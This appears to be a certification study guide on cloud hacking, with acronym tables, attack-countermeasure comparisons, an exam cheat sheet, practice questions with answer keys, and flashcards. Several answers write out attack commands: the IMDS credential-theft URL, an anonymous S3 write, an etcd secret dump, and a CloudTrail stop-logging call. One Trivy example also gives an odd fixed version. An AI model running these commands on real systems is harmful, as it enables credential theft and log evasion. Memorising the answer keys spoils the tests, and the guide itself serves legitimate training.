IAM	Identity and Access Management	Who can do what, in a cloud account
ARN	Amazon Resource Name	AWS's unique identifier for every resource
S3	Simple Storage Service	AWS's object (file) storage service
EC2	Elastic Compute Cloud	AWS's virtual machine (instance) service
RDS	Relational Database Service	AWS's managed database service
STS	Security Token Service	Issues temporary AWS credentials
SG	Security Group	Instance-level virtual firewall (AWS/Azure concept)

Acronym	Stands for	One-line meaning
NSG	Network Security Group	Azure's traffic-control rule set
NACL	Network Access Control List	Subnet-level, stateless AWS firewall
VPC	Virtual Private Cloud	AWS's isolated virtual network
VNet	Virtual Network	Azure's isolated virtual network
MSP	Managed Service Provider	Third party managing IT/cloud on your behalf
SAML	Security Assertion Markup Language	XML-based SSO authentication standard
ADFS	Active Directory Federation Services	Microsoft's SAML-based identity provider
C2 / C&C	Command and Control	Attacker's server directing compromised systems
CDN	Content Delivery Network	Caches/serves content closer to users
CPDoS	Cache Poisoned Denial of Service	Poisoned CDN cache denies service to all
MITC	Man-in-the-Cloud	Attack abusing cloud file sync tokens
MITM	Man-in-the-Middle	Intercepting/altering traffic between two parties
EDOS	Economic Denial of Sustainability	Fraudulent usage inflates victim's cloud bill
SSRF	Server-Side Request Forgery	Tricking a server into making attacker-chosen requests
RBAC	Role-Based Access Control	Permissions granted to roles, not individuals
K8s	Kubernetes	Container orchestration platform
CaaS	(also) Container-as-a-Service	See above (dual use of this acronym)
CI/CD	Continuous Integration / Continuous Deployment	Automated build-test-deploy pipeline
CASB	Cloud Access Security Broker	Enforces policy between cloud consumers/providers
BAS	Breach and Attack Simulation	Safely emulates real attack techniques (Stratus Red Team)

Acronym	Stands for	One-line meaning
PQC	Post-Quantum Cryptography	Encryption designed to resist quantum attacks
CRL	Certificate Revocation List	List of certificates no longer trusted
OCSP	Online Certificate Status Protocol	Real-time certificate revocation check
KMS	Key Management Service	Manages encryption keys for secrets/data
SPN	Service Principal Name	An application's own cloud identity

7. Attack vs Countermeasure and Look-alike Comparisons

7.1 Attack vs countermeasure

Attack	Best countermeasure
Service hijacking (social engineering)	MFA; train users to verify login URLs
Service hijacking (network sniffing)	HTTPS/TLS everywhere; avoid untrusted networks
Side-channel / cross-guest VM	Dedicated (non-shared) hardware for sensitive workloads
Wrapping attack	WS-Security full-message signing; validate SOAP structure
Man-in-the-Cloud (MITC)	Monitor/alert on sync-token and device-authorization changes
Cloud Hopper	MFA and least privilege for MSP remote-management tools
Cloud cryptojacking	Monitor CPU/billing spikes; patch known vulnerabilities
Cloudborne	Firmware-wipe/reflash bare-metal servers between tenants
IMDS attack	Enforce IMDSv2; apply least-privilege IAM roles
CPDoS / CDN cache poisoning	Never cache error responses; validate headers
Cloud Snooper	Deep packet inspection beyond port-only filtering

Attack	Best countermeasure
Golden SAML	Protect/rotate signing certificates; monitor token issuance
Living off the Cloud (LotC)	Monitor native-tool abuse; restrict tunneling services
S3/GCS bucket exposure	Block public access by default; audit policies regularly
Open security groups/NSGs	Restrict to known IPs; use bastion/VPN, not direct exposure
IAM privilege escalation (8 AWS / GCP equivalents)	Audit for the specific dangerous permission combinations
CloudTrail tampering	Immutable, separate-account logging; alert on stop/delete
EC2/Lambda/service-principal persistence	Full rebuild after compromise; audit new privileged identities
Lateral movement (accounts/regions)	Monitor cross-account `AssumeRole`; enable all-region monitoring
Managed identity/token theft	Scope identities to minimum needed resources
Azure AD app-admin privesc	Restrict who can add credentials to registered apps
VNet peering abuse	Restrict peering permission; audit peering connections
Docker Remote API exposure	Never expose daemon socket without TLS client auth
LXD/LXC privesc	Treat `lxd` group membership as equivalent to root
etcd secret extraction	Enable KMS-backed secret encryption at rest
Kubernetes vulnerabilities (10 items)	Apply the matched solution from section 3.93
Serverless risks (A1-A10)	Apply the matched solution from section 3.94

7.2 Look-alike comparisons

- **IaaS vs. PaaS vs. SaaS:** the difference is WHO manages the OS and runtime. IaaS: you manage OS+. PaaS: vendor manages OS/runtime, you manage code. SaaS: vendor manages everything, you just use it.
- **Side-channel/cross-guest VM attack vs. Man-in-the-Middle:** side- channel abuses SHARED HARDWARE on the same host; MITM intercepts traffic ON THE NETWORK between two separate parties.

- **Man-in-the-Cloud (MITC) vs. classic MITM:** MITC steals and later RESTORES a sync token, leaving no visible live interception; MITM actively intercepts traffic in real time.
- **Cloud Hopper vs. Living off the Cloud (LotC):** Cloud Hopper specifically targets an MSP to reach many downstream customers; LotC is about blending malicious activity into normal, trusted tool/traffic patterns, with no MSP requirement.
- **Cloudborne vs. Cloud Snooper:** Cloudborne is a FIRMWARE implant on bare-metal hardware; Cloud Snooper is a NETWORK/traffic-filtering bypass technique using disguised ports. Ask: firmware, or traffic?
- **IMDS attack vs. SSRF:** SSRF is the web-application VULNERABILITY (a flaw letting the server fetch attacker-chosen URLs); the IMDS attack is the SPECIFIC THING the attacker fetches once SSRF (or direct instance access) is available. SSRF is the door; IMDS theft is what is taken once through it.
- **CPDoS vs. classic DDoS:** CPDoS poisons ONE cached response so a CDN denies service to everyone from that single crafted request; DDoS floods a target directly with massive TRAFFIC VOLUME. Ask: one clever request, or many brute-force requests?
- **Golden SAML vs. Golden Ticket (Module 6 concept):** both forge a trusted credential using a stolen SIGNING SECRET; Golden SAML forges SAML tokens using a stolen certificate (cloud federation); Golden Ticket forges Kerberos tickets using a stolen KRBTGT hash (on-prem Active Directory).
- **Password spraying vs. brute forcing:** spraying tries FEW passwords across MANY accounts (with delay, to dodge lockouts); brute forcing tries MANY passwords against ONE account.
- **AWS Security Groups vs. Network ACLs (NACLs) vs. Azure NSGs:** AWS Security Groups are STATEFUL, instance-level; NACLs are STATELESS, subnet-level; Azure NSGs are stateful and can apply to subnets, VMs, or NICs. Ask: which provider, and which scope level?
- **Prowler vs. CloudSploit vs. Scout Suite:** Prowler is CLI-first, check/service-flag driven, multi-cloud; CloudSploit maps findings directly to compliance frameworks (HIPAA/PCI/CIS); Scout Suite is multi-cloud with one unified dashboard. Ask: does the question mention compliance mapping (CloudSploit), a dashboard (Scout Suite), or CLI service/check flags (Prowler)?
- **Cartography vs. CloudFox vs. Stormspotter:** Cartography (AWS/ GCP) builds a full GRAPH DATABASE you query yourself; CloudFox (AWS) runs targeted, specific CLI checks; Stormspotter (Azure) is the Azure-specific graph/attack-surface tool. Ask: which provider, and graph vs. targeted checks?
- **Pacu vs. Stratus Red Team:** Pacu is a real EXPLOITATION framework, used against actual unauthorized access; Stratus Red Team is safe THREAT EMULATION ("detonated" in your own test environment, mapped to MITRE ATT&CK). Ask: is this testing your own defenses, or actually exploiting a target?
- **CloudBrute/S3Scanner (AWS) vs. Goblob (Azure) vs. GCPBucketBrute/ cloud_enum (GCP):** all enumerate public object storage, but each targets a

DIFFERENT provider's storage product (S3, Blob Storage, Cloud Storage). Match the provider named in the question.

- **AWSGoat vs. AzureGoat vs. GCPGoat:** all are "vulnerable by design" training infrastructures; only the cloud provider differs.

> **TRAP:** A question may describe stolen "temporary" AWS credentials with an `AccessKeyId`, `SecretAccessKey`, AND a `Token`/`SessionToken` field, then ask which AWS service issued them. The presence of a session token is the giveaway for STS (Security Token Service) or the IMDS-issued role credentials, NOT a permanent IAM user access key (which has only `AccessKeyId` and `SecretAccessKey`, no token).

8. Exam Cheat Sheet

8.1 Keyword -> answer pairs

Keyword in the question	Likely answer
"no server to manage, pay per invocation"	Serverless computing / FaaS
"developers get OS+runtime managed for them"	PaaS
"same physical host, shared CPU cache"	Side-channel / cross-guest VM attack
"duplicates the SOAP body into the header"	Wrapping attack
"steals and later restores a sync token"	Man-in-the-Cloud (MITC)
"targets an MSP to reach its customers"	Cloud Hopper attack
"unauthorized use of resources to mine coins"	Cloud cryptojacking
"firmware backdoor on bare-metal, next tenant"	Cloudborne attack
"169.254.169.254"	Instance Metadata Service (IMDS)
"poisons one cached response at the CDN"	CPDoS / CDN cache poisoning
"disguises C2 as port 80/443 past AWS SGs"	Cloud Snooper attack
"forges SAML tokens using a stolen cert"	Golden SAML attack
"abuses native tools and trusted cloud apps"	Living off the Cloud (LotC)
"4-phase cloud hacking process"	Info Gathering -> Vuln Assessment -> Exploit -> Post-Exploit
"fast internet-wide port scanner"	Masscan
"multi-cloud, --services/--checks flags"	Prowler
"maps findings to HIPAA/PCI/CIS"	CloudSploit
"one dashboard, three clouds"	Scout Suite
"scans an exported IAM policy file offline"	Cloudsplaining

Keyword in the question	Likely answer
"graph database, Cypher queries, AWS/GCP"	Cartography
"targeted CLI checks, AWS attack paths"	CloudFox
"Atomic Red Team for the cloud"	Stratus Red Team
"AWS exploitation framework, hijacks IAM roles"	Pacu
"finds secrets by randomness, not pattern"	DumpsterDiver (high entropy)
"finds shadow admins in AWS/Azure"	SkyArk
"mass-exposes every resource type at once"	Endgame
"stops/deletes CloudTrail"	Covering tracks on AWS
"assumes a role in another AWS account"	Lateral movement (`sts assume-role`)
"zero-credential outsider recon of Azure AD"	AADInternals
"needs an authenticated Az session first"	MicroBurst
"few passwords, many accounts, with delay"	Password spraying (Spray365)
"feeds BloodHound with Azure data"	AzureHound
"finds public Azure Blob containers"	Goblob
"`allUsers` with `storage.buckets.setIamPolicy`"	GCPBucketBrute critical finding
"measures what a stolen GCP credential can do"	GCP Scanner
"multi-cloud bucket enumeration by default"	cloud_enum
"`lxd` group membership = root"	LXD/LXC privilege escalation
"reads Kubernetes secrets straight from etcd"	`etcdctl` secret extraction
"`hostPath` volume escapes to host files"	Hacking container volumes
"exposed Docker daemon, no auth"	Docker Remote API exploitation
"trust no one, verify every request"	Zero Trust
"sits between cloud consumer and provider"	CASB

8.2 Must-memorize lists

- **4-phase cloud hacking methodology:** Information Gathering, Vulnerability Assessment, Exploitation, Post-Exploitation.
- **OWASP Cloud Top 10 labels:** R1-R10 (Accountability/Data Ownership through Non-Production Environment Exposure).
- **OWASP Kubernetes Top 10 labels:** K01-K10 (Insecure Workload Configurations through Outdated/Vulnerable Components).
- **OWASP Serverless Top 10 labels:** A1-A10 (same naming as the web OWASP Top 10: Injection through Insufficient Logging/Monitoring).

- **8 AWS IAM privilege escalation permission groups (section 3.57):** `CreatePolicyVersion`, `SetDefaultPolicyVersion`, `PassRole`+ `RunInstances`, `CreateAccessKey`, `Create/UpdateLoginProfile`, `Attach*Policy`, `Put*Policy`, `AddUserToGroup`.
- **10 Kubernetes vulnerabilities (section 3.15):** No cert revocation, Unauthenticated HTTPS, Exposed bearer tokens, Env-var data exposure, Unencrypted secrets at rest, Non-constant-time password comparison, Hardcoded credential paths, Non-atomic log rotation, No scheduler back-off, No non-repudiation.
- **4 CASB pillars:** Visibility, Compliance, Data Security, Threat Protection.
- **Service model ladder (most to least customer-managed):** IaaS -> PaaS -> SaaS (with FaaS, CaaS, IDaaS, SECaaS, XaaS as specialized/catch-all variants).
- **Three "Goat" training infrastructures:** AWSGoat (AWS), AzureGoat (Azure), GCPGoat (GCP).
- **"Goat" scenario coverage pattern:** each covers SSRF, IAM/ privilege escalation, and misconfiguration/storage exposure, in provider-specific form.

8.3 Numbers and defaults to remember

Fact	Value
AWS/general cloud instance metadata address	169.254.169.254
IMDSv1 vs IMDSv2	v2 requires a PUT-obtained session token (harder to SSRF)
AWS security group default-allowed ports (Cloud Snooper)	80, 443
Cloud Snooper internal rootkit ports (example)	1010, 2020, 6060, 7070, 8080, 9999
CIDR meaning "any IPv4 address"	0.0.0.0/0
CIDR meaning "any IPv6 address"	::/0
Docker Remote API default ports	2375 (no TLS), 2376 (TLS)
etcd client API default port	2379
AICPA audit standard referenced	SSAE 18 Type II (verify current numbering)
Number of OWASP Cloud Top 10 risks	10 (R1-R10)
Number of OWASP Kubernetes Top 10 risks	10 (K01-K10)
Number of OWASP Serverless Top 10 risks	10 (A1-A10)
Number of AWS IAM privilege escalation permission groups taught	8
Number of Kubernetes vulnerabilities taught	10
Number of cloud security best practices (section 3.91)	24

8.4 "Pick the BEST option" rules for this module

1. If a question offers both "blame the cloud provider" and "blame the customer's misconfiguration" for a data exposure, the customer's misconfiguration is almost always the correct answer, under the shared responsibility model (section 3.3), unless the question explicitly describes a provider-side hardware/infrastructure failure.
2. If a question gives a specific IAM permission name (like `iam:PassRole` or `storage.buckets.setIamPolicy`) and a generic "overly broad permissions" option, pick the specific technique that matches that exact permission; the exam rewards recognizing named permissions.
3. If a scenario could be either a real exploitation tool (Pacu) or a safe emulation tool (Stratus Red Team), check whether the scenario describes testing one's OWN defenses (Stratus Red Team) or gaining unauthorized access to a target (Pacu).
4. If both "classic DDoS" and a named cache-poisoning attack (CPDoS) fit a denial-of-service scenario, check whether ONE crafted request (CPDoS) or MASSIVE traffic volume (DDoS) caused the outage.
5. If a scenario names a specific cloud provider (AWS, Azure, or GCP), immediately eliminate every tool/command answer choice that targets a DIFFERENT provider, even if it otherwise sounds plausible.
6. If a scenario describes an attacker's ENTRY POINT as a web application bug, prefer SSRF-related answers; if the entry point is already inside a compromised instance/container, prefer direct IMDS/`etcdctl`/Docker-API-style answers instead.
7. When comparing two seemingly similar misconfig scanners (Prowler, CloudSploit, Scout Suite, Cloudsplaining), let the SPECIFIC detail in the question (compliance mapping, single dashboard across clouds, offline file-based scan, or CLI service/check flags) dictate which exact tool is correct.

9. Practice Questions

Q1. A startup wants to write only application code and have the cloud vendor manage the operating system, runtime, and middleware. Which service model best fits this need?
A. IaaS
B. PaaS
C. SaaS
D. IDaaS

Answer: B. PaaS specifically means the vendor manages the OS and runtime, leaving the customer to build and deploy only application code and data. - A is wrong: IaaS still requires the customer to manage the OS, runtime, and middleware themselves. - C is wrong: SaaS means the customer does not write any code at all, just uses a finished application. - D is wrong: IDaaS is specifically about outsourced identity management, unrelated to app development.

Q2. A company's S3 bucket is found publicly readable due to a misconfigured bucket policy, leading to a data leak. Under the shared responsibility model, who is primarily responsible for this failure?
A. AWS, because it hosts the storage hardware
B. The customer, because bucket policy configuration is their responsibility under the IaaS model
C. Neither party, since cloud breaches are unavoidable
D. AWS, because S3 is a managed service

Answer: B. Under the shared responsibility model, the customer always owns data and application-layer configuration (including bucket policies), regardless of how much infrastructure the provider manages. - A is wrong: AWS's responsibility covers physical/infrastructure security, not how the customer configures access policies. - C is wrong: this breach was directly preventable through correct configuration. - D is wrong: "managed service" does not mean the provider manages the customer's own access policy choices.

Q3. An attacker rents a VM on the same physical cloud host as a target's VM, then measures CPU cache timing to infer the target's cryptographic key. What is this attack called?
A. Wrapping attack
B. Side-channel / cross-guest VM attack
C. Cloud Snooper attack
D. CPDoS

Answer: B. This is the textbook description of a side-channel/ cross-guest VM attack: co-resident VMs abusing shared hardware (CPU cache) to leak secrets. - A is wrong: the wrapping attack targets SOAP message structure, not shared hardware. - C is wrong: Cloud Snooper disguises C2 traffic through security group ports, unrelated to VM co-residency. - D is wrong: CPDoS is a CDN cache-poisoning denial-of-service technique, not a data-theft side-channel.

Q4. During a SOAP-based cloud file transfer, an attacker intercepts the message, duplicates the body into the header, and substitutes a malicious body before forwarding it to the server. What is this attack called?
A. Golden SAML attack
B. Man-in-the-Cloud attack
C. Wrapping attack
D. Cloud Hopper attack

Answer: C. This exact mechanism (duplicating the SOAP body into the header, then substituting the body) defines the wrapping attack. - A is wrong: Golden SAML forges tokens using a stolen signing certificate, with no SOAP body duplication involved. - B is wrong: MITC abuses cloud file sync tokens, not SOAP messages. - D is wrong: Cloud Hopper targets MSPs via spear-phishing, unrelated to SOAP message structure.

Q5. A victim's Dropbox-synced folder keeps working normally, but an attacker secretly planted their own sync token weeks ago, read every synced file since, and has now

restored the original token so nothing looks different. What attack is this?
A. Man-in-the-Middle (MITM)
B. Man-in-the-Cloud (MITC)
C. Cloud Snooper
D. Cloudborne

Answer: B. MITC is defined exactly by this pattern: planting, using, and then restoring a cloud sync token so the victim notices nothing. - A is wrong: classic MITM intercepts live traffic in real time; it does not plant and later restore a token. - C is wrong: Cloud Snooper is about AWS security-group traffic disguise, unrelated to file sync. - D is wrong: Cloudborne is a bare-metal firmware implant, unrelated to file sync tokens.

Q6. An attacker needs to steal an EC2 instance's attached IAM role credentials. Which exact URL path would they query from inside (or via SSRF against) the instance?
A. `http://10.0.0.1/metadata`
B. `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
C. `https://console.aws.amazon.com/metadata`
D. `http://localhost:2375/credentials`

Answer: B. This is the exact, correct Instance Metadata Service path for retrieving IAM role credentials on AWS. - A is wrong: not a real, standard metadata address. - C is wrong: this is the AWS web console URL, not a metadata endpoint reachable from the instance itself. - D is wrong: port 2375 is the Docker Remote API, unrelated to IMDS.

Q7. A CDN serves a cached "404 Not Found" page to every legitimate visitor of a page, because an attacker earlier sent one malformed request that the origin server could not process correctly. What attack is this?
A. Classic volumetric DDoS
B. CPDoS (Cache Poisoned Denial of Service)
C. Side-channel attack
D. Cloud Hopper

Answer: B. A single malformed/oversized request causing an error response to be cached and served to everyone else is the exact definition of CPDoS. - A is wrong: volumetric DDoS requires massive traffic volume, not one crafted request. - C is wrong: side-channel attacks steal data through shared hardware, not through cache poisoning. - D is wrong: Cloud Hopper targets MSPs, unrelated to CDN caching.

Q8. Security researchers find that malware on a compromised AWS host transmits command-and-control traffic disguised with source/ destination port 80 or 443, specifically to pass through AWS security group rules unnoticed. What is this technique called?
A. Golden SAML attack
B. Cloud Snooper attack
C. Wrapping attack
D. IMDS attack

Answer: B. Disguising C2 traffic as port 80/443 traffic to bypass AWS security groups is the defining mechanism of the Cloud Snooper attack. - A is wrong: Golden SAML forges authentication tokens, unrelated to port disguising. - C is wrong: the wrapping attack is about SOAP message structure. - D is wrong: IMDS attacks steal metadata/credentials, not disguise C2 traffic ports.

Q9. An attacker compromises an organization's ADFS server, steals its token-signing certificate, and uses it to forge a SAML response claiming to be the Global Administrator. What attack is this?
A. Golden SAML attack
B. OTP hijacking
C. Cloud Hopper attack
D. Living off the Cloud attack

Answer: A. Forging a SAML token/response using a stolen signing certificate from the identity provider is exactly the Golden SAML attack. - B is wrong: OTP hijacking targets one-time password/2FA codes, not SAML signing certificates. - C is wrong: Cloud Hopper targets MSPs via phishing, unrelated to SAML. - D is wrong: LotC is about abusing native/trusted tools, not forging identity tokens.

Q10. A red team uses only PowerShell, Certutil, Google Drive, and Ngrok to move through a victim's network and exfiltrate data, leaving little trace because every action looks like normal, trusted traffic. What technique is this?
A. Wrapping attack
B. Living off the Cloud (LotC) attack
C. Cloudborne attack
D. Cloud cryptojacking

Answer: B. Using only native/trusted tools and cloud services to blend in, with no custom malware, is the defining description of Living off the Cloud. - A is wrong: the wrapping attack is a SOAP messaging exploit, unrelated to native tool abuse. - C is wrong: Cloudborne is a firmware implant on bare-metal hardware. - D is wrong: cryptojacking is about unauthorized cryptocurrency mining, not lateral movement using trusted tools.

Q11. Which AWS CLI command would an attacker run to find security groups that allow inbound traffic from absolutely any IP address on the internet?
A. `aws ec2 describe-instances`
B. `aws ec2 describe-security-groups --filter Name=ip-permission.cidr,Values=0.0.0.0/0`
C. `aws s3 ls --no-sign-request`
D. `aws iam list-roles`

Answer: B. This exact command filters security groups specifically for rules whose CIDR is `0.0.0.0/0`, meaning "any IPv4 address." - A is wrong: this only lists EC2 instances, with no security group filtering. - C is wrong: this is an S3 bucket command, unrelated to security groups. - D is wrong: this lists IAM roles, unrelated to network exposure.

Q12. An attacker runs `aws s3 cp notes.txt s3://victim-bucket/notes.txt --no-sign-request` and it succeeds. What does this confirm about the target bucket?
A. The bucket requires valid AWS credentials for every operation
B. The bucket allows fully anonymous, unauthenticated write access
C. The bucket is encrypted with a customer-managed KMS key
D. The bucket is located in a disabled AWS region

Answer: B. `--no-sign-request` sends the request with absolutely no credentials; its success proves the bucket accepts write operations from a completely anonymous caller. - A is wrong: the opposite is true, since the command succeeded without any credentials at all. - C is wrong: encryption status is unrelated to whether an anonymous write succeeds. - D is wrong: a disabled region would cause the command to fail entirely, not succeed.

Q13. A penetration tester finds a role in a target AWS account whose trust policy includes `"Principal": "*"` for `sts:AssumeRole`. What is the single best next step?
A. Ignore it, since AWS blocks wildcard principals automatically
B. Attempt to assume the role from the tester's own AWS account,
since any account is trusted to do so
C. Report it as low risk, since assuming a role requires a password
D. Delete the role immediately without notifying the client

Answer: B. A wildcard principal (`"*"`) on an `sts:AssumeRole` trust policy means literally any AWS account can attempt to assume that role; testing this (within the authorized scope of an engagement) confirms real-world exploitability. - A is wrong: AWS does not automatically block this; it is a valid, dangerous configuration mistake. - C is wrong: `sts:AssumeRole` does not require a password; it only needs valid AWS credentials from a trusted principal, which here is everyone. - D is wrong: a penetration tester should report findings, not take unauthorized destructive action on a client's live account.

Q14. Which permission combination, if held by an attacker, directly enables launching a new EC2 instance using an existing, more-privileged instance profile, per the AWS IAM privilege escalation techniques covered in this module?
A. `iam:ListUsers` only
B. `iam:PassRole` and `ec2:RunInstances`
C. `s3:GetObject` only
D. `rds:DescribeDBInstances` only

Answer: B. This exact pair is the documented technique: `PassRole` lets the attacker attach an existing instance profile, and `RunInstances` lets them launch the instance that will use it. - A is wrong: listing users alone grants no escalation path. - C is wrong: reading S3 objects is unrelated to IAM/EC2 privilege escalation. - D is wrong: describing RDS instances is read-only recon, not a privesc technique.

Q15. An incident responder notices that `aws cloudtrail stop- logging` was called, followed hours later by evidence of a new backdoored Lambda function. What phase of the attack does the `stop-logging` call represent?
A. Information Gathering

B. Vulnerability Assessment
C. Covering Tracks (within Post-Exploitation)
D. Exploitation

Answer: C. Disabling CloudTrail logging is specifically a "covering tracks" action, performed to hide subsequent malicious activity (here, the Lambda backdoor) from audit logs. - A and B are wrong: those phases happen before gaining access, not after establishing a backdoor. - D is wrong: exploitation is the act of gaining access itself; the logging change is a cleanup step that comes after.

Q16. A tool returns the message "Found restricted role" for most guessed role ARNs but "Found vulnerable role" for one specific ARN, then returns full temporary AWS credentials for that one role. What tool/technique is being demonstrated?
A. Masscan port scanning
B. Role enumeration and hijacking via `sts:AssumeRole` (Pacu-style)
C. Trivy image scanning
D. CloudSploit compliance mapping

Answer: B. This is exactly how AssumeRole-based role enumeration and hijacking works: distinguishing roles that reject the attempt ("restricted") from ones that succeed ("vulnerable"). - A is wrong: Masscan scans ports, unrelated to IAM role names. - C is wrong: Trivy scans container images, unrelated to IAM roles. - D is wrong: CloudSploit maps findings to compliance frameworks, not role-assumption attempts.

Q17. An Azure AD user with "Application Administrator" rights on one registered app uploads a self-signed certificate to that app, then authenticates AS the app using that certificate, and finally uses the app's own permission to grant themselves Global Administrator. What general class of attack is this?
A. Password spraying
B. Privilege escalation through application impersonation
C. Side-channel attack
D. CDN cache poisoning

Answer: B. Authenticating as an application (via its own certificate-based credential) to use the APP'S permissions for self-promotion is privilege escalation through application impersonation. - A is wrong: no password guessing against multiple accounts is involved. - C is wrong: no shared-hardware data leakage is involved. - D is wrong: no CDN or caching is involved at all.

Q18. Which Azure CLI command would list every Network Security Group rule in a specific resource group's NSG, to look for rules allowing access from `0.0.0.0/0`?
A. `az network nsg list --out table`
B. `az network nsg rule list --resource-group <RG> --nsg-name <NSG> --output table`
C. `az ad sp create-for-rbac --name <name>`
D. `az role assignment list --assignee <id>`

Answer: B. This command specifically lists the RULES inside one named NSG, which is required to actually inspect each rule's source IP range for `0.0.0.0/0` exposure. - A is

wrong: this only lists NSGs by NAME, not their individual rules. - C is wrong: this creates a new service principal, unrelated to NSG rules. - D is wrong: this lists role assignments, unrelated to network security group rules.

Q19. A security team finds that a Google Cloud Storage bucket's IAM policy grants `allUsers` the permission `storage.buckets. setIamPolicy`. What is the most severe implication of this finding?
A. Anyone can read file names in the bucket, nothing more
B. Anyone, with zero authentication, could grant themselves full administrative control over the bucket
C. The bucket is automatically encrypted with a weaker algorithm
D. The finding only matters if combined with a separate SSRF vulnerability

Answer: B. `storage.buckets.setIamPolicy` lets whoever holds it change the bucket's own IAM policy; granting this to `allUsers` means literally anyone can grant themselves (or anyone else) full administrative access, with no authentication at all. - A is wrong: this permission is far more severe than read-only listing. - C is wrong: IAM policy permissions are unrelated to encryption algorithm selection. - D is wrong: this finding is independently severe and does not require an additional SSRF vulnerability.

Q20. An attacker who is a member of the `lxd` group on a Linux host creates a privileged LXD container and mounts the host's root filesystem into it at `/mnt/root`. What does this `lxd` group membership effectively grant, on its own, with no further password prompt?
A. Read-only access to the attacker's own home directory
B. Root-equivalent access to the entire host
C. Access only to Docker (not LXD) containers
D. No elevated access at all without `sudo`

Answer: B. LXD group membership alone, with no `sudo` password check, is sufficient to create a privileged container with full host filesystem access, which is root-equivalent. - A is wrong: the technique specifically reaches far beyond the attacker's own home directory, to the ENTIRE host filesystem. - C is wrong: LXD and LXC are distinct from Docker; this technique is specific to LXD/LXC. - D is wrong: unlike `sudo` group membership, `lxd` group membership needs no password confirmation at all for this technique.

Q21. An attacker with access to a Kubernetes control-plane node runs `etcdctl get / registry/ --prefix | grep -a '/registry/ secrets/'` and retrieves plaintext secret values. What Kubernetes vulnerability does this directly demonstrate?
A. No back-off process for scheduling
B. Secrets at rest not encrypted by default
C. Non-constant time password comparison
D. Missing network segmentation

Answer: B. Kubernetes Secrets are, by default, only base64-encoded (not encrypted) in `etcd`; this command's success demonstrates exactly that vulnerability. - A is wrong: back-off/scheduling issues are about scheduler retry loops, unrelated to secret storage. -

C is wrong: timing attacks on password comparison are unrelated to reading `etcd` secret values directly. - D is wrong: network segmentation issues are about traffic boundaries, not about secrets encryption at rest.

Q22. Which tool would an AI-assisted red teamer most appropriately use to safely test whether their own organization's monitoring detects a specific MITRE ATT&CK-mapped AWS persistence technique, without performing unauthorized real-world exploitation?
A. Pacu
B. Stratus Red Team
C. CloudBrute
D. GCPBucketBrute

Answer: B. Stratus Red Team is specifically designed for safe, self-contained threat emulation ("detonation") of named, MITRE ATT&CK- mapped techniques against your own environment, exactly for testing detection capability. - A is wrong: Pacu is built for actual exploitation, not safe, self-contained emulation. - C is wrong: CloudBrute enumerates storage bucket names, unrelated to technique emulation. - D is wrong: GCPBucketBrute targets GCP storage buckets specifically, not AWS persistence technique emulation.

Q23. How could an AI assistant (such as ChatGPT or a similar LLM tool) most appropriately help a defender during the Vulnerability Assessment phase of the cloud hacking methodology?
A. By autonomously exploiting discovered misconfigurations without human review
B. By helping summarize and prioritize findings from tools like Prowler or Scout Suite, and drafting remediation steps
C. By generating fake compliance certificates
D. By disabling CloudTrail logging to "clean up" noisy scan results

Answer: B. A defender-appropriate AI use case is summarizing large volumes of scanner findings, prioritizing by severity, and drafting clear remediation guidance for a human team to review and act on. - A is wrong: autonomous exploitation without human review is unauthorized and dangerous, not an appropriate defensive use. - C is wrong: generating fake compliance certificates is fraud, not a legitimate use of AI assistance. - D is wrong: disabling logging destroys evidence and is itself an attacker technique (section 3.34/3.59), never a legitimate defensive step.

Q24. A prompt given to an AI coding assistant reads: "Write a Python script that calls `aws s3 ls` and `aws sts get-caller- identity` using these stolen credentials, then downloads every bucket." From an ethical hacking engagement perspective, what is the most important thing missing before running AI-generated code like this?
A. Nothing; AI-generated code is always safe to run immediately
B. Confirmation that the credentials and target are explicitly in scope for an authorized engagement
C. A faster internet connection
D. Converting the script from Python to PowerShell

Answer: B. Regardless of who or what generates the code (human or AI), using credentials against a cloud account requires explicit authorization confirming that account and action are in scope for the engagement. - A is wrong: AI-generated code can be just as dangerous or unauthorized as human-written code; it requires the same scrutiny. - C and D are wrong: neither addresses the core authorization/scope requirement at all.

Q25. A company's cloud security policy states: "No user or service, inside or outside our network, is trusted by default; every request must be verified before access is granted." Which security model does this describe?
A. Perimeter/castle-and-moat model
B. Zero Trust
C. Shared Responsibility Model
D. CASB

Answer: B. This is the Zero Trust principle stated almost word for word: "trust no one, validate before providing a cloud service." - A is wrong: the perimeter model trusts anything already inside the network boundary, the opposite of this policy. - C is wrong: the shared responsibility model describes WHO (provider vs. customer) is responsible for WHAT, not a trust-verification policy. - D is wrong: CASB is a specific broker tool/service, not the underlying trust philosophy itself.

Q26. Which 4 pillars does a Cloud Access Security Broker (CASB) enforce between cloud consumers and cloud service providers?
A. Encryption, Compression, Routing, Caching
B. Visibility, Compliance, Data Security, Threat Protection
C. Scalability, Elasticity, Availability, Durability
D. Authentication, Authorization, Accounting, Auditing

Answer: B. These are the 4 named CASB pillars described directly in this module. - A is wrong: these are general networking/performance concepts, not CASB's specific pillars. - C is wrong: these describe general cloud infrastructure qualities, not CASB's function. - D is wrong: this is the general "AAA" security concept, not CASB's specific 4-pillar framework (though related to pillar 2 and 4).

Q27. A company discovers an unexplained 40x spike in its cloud bill overnight, caused by thousands of scripted requests against its pay-per-use API, with no actual service outage. What threat category does this best represent?
A. Distributed Denial of Service (DDoS)
B. Economic Denial of Sustainability (EDOS)
C. Side-channel attack
D. CPDoS

Answer: B. EDOS specifically describes keeping a metered service ONLINE while making its usage financially unsustainable through fraudulent, abusive usage. - A is wrong: DDoS takes a service OFFLINE through traffic volume; here the service stayed up. - C is wrong: side-channel attacks steal data via shared hardware, unrelated to billing. - D is wrong: CPDoS poisons a CDN cache; this scenario describes no caching at all.

Q28. A Trivy scan of a container image reports: "libexpat1 2.2.0-2+deb9u4 -> 2.2.0-2+deb9u3, severity: CRITICAL." What does the "-> 2.2.0-2+deb9u3" part of this output represent?
A. The currently installed, vulnerable version
B. The suggested fixed version to upgrade to
C. The Docker image's total file size
D. The container's internal IP address

Answer: B. Trivy's output format shows the installed (vulnerable) version, an arrow, then the suggested FIXED version the package should be upgraded to. - A is wrong: the installed vulnerable version is the one listed BEFORE the arrow (`2.2.0-2+deb9u4`). - C and D are wrong: neither file size nor IP address appears in this specific vulnerability-report line format.

10. Flashcards

Q: What are the 4 phases of the cloud hacking methodology? | A: Information Gathering, Vulnerability Assessment, Exploitation, Post-Exploitation.
Q: What does IMDS stand for and what does it expose? | A: Instance Metadata Service; exposes instance config and (on AWS) IAM role credentials.
Q: What is the exact AWS/general cloud metadata address? | A: 169.254.169.254.
